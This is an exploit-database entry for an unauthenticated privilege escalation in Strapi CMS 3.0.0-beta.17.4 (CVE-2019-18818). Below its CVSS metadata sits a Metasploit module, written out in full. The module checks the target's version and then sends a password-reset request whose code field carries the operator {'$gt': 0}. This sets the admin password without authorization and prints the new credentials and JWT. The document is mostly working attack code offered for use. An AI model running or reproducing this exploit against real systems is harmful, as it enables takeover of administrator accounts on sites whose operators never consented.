Strapi CMS 3.0.0-beta.17.4 Privilege Escalation

2022.02.08
Credit: WackyH4cker
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-264


CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Auxiliary Rank = NormalRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "Strapi CMS 3.0.0-beta.17.4 - Set Password (Unauthenticated) (Metasploit)", 'Description' => %q{ This exploit module abuses the mishandling of password reset in JSON for Strapi CMS version 3.0.0-beta.17.4 to change the password of a privileged user. }, 'License' => MSF_LICENSE, 'Author' => [ 'WackyH4cker' ], 'References' => [ [ 'URL', 'https://vulners.com/cve/CVE-2019-18818' ] ], 'Platform' => 'linux', 'Targets' => [ [ 'Strapi 3.0.0-beta-17.4', {} ] ], 'Payload' => '', 'Privileged' => true, 'DisclosureDate' => "", 'DefaultOptions' => { 'SSL' => 'False', 'RPORT' => 80, }, 'DefaultTarget' => 0 )) register_options [ OptString.new('NEW_PASSWORD', [true, 'New password for user Admin']) ] end def check res = send_request_raw({ 'uri' => '/admin/init' }) version = JSON.parse(res.body) if version["data"]["strapiVersion"] == '3.0.0-beta.17.4' return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe end end def run json_body = { 'code' => {'$gt' => 0}, 'password' => datastore['NEW_PASSWORD'], 'passwordConfirmation' => datastore['NEW_PASSWORD'] } res = send_request_cgi({ 'method' => 'POST', 'uri' => '/admin/auth/reset-password', 'ctype' => 'application/json', 'data' => JSON.generate(json_body) }) print_status("Changing password...") json_format = JSON.parse(res.body) jwt = json_format['jwt'] if res.code == 200 print_good("Password changed successfully!") print_good("USER: admin") print_good("PASSWORD: #{datastore['NEW_PASSWORD']}") print_good("JWT: #{jwt}") else fail_with(Failure::NoAccess"Could not change admin user password") end end end


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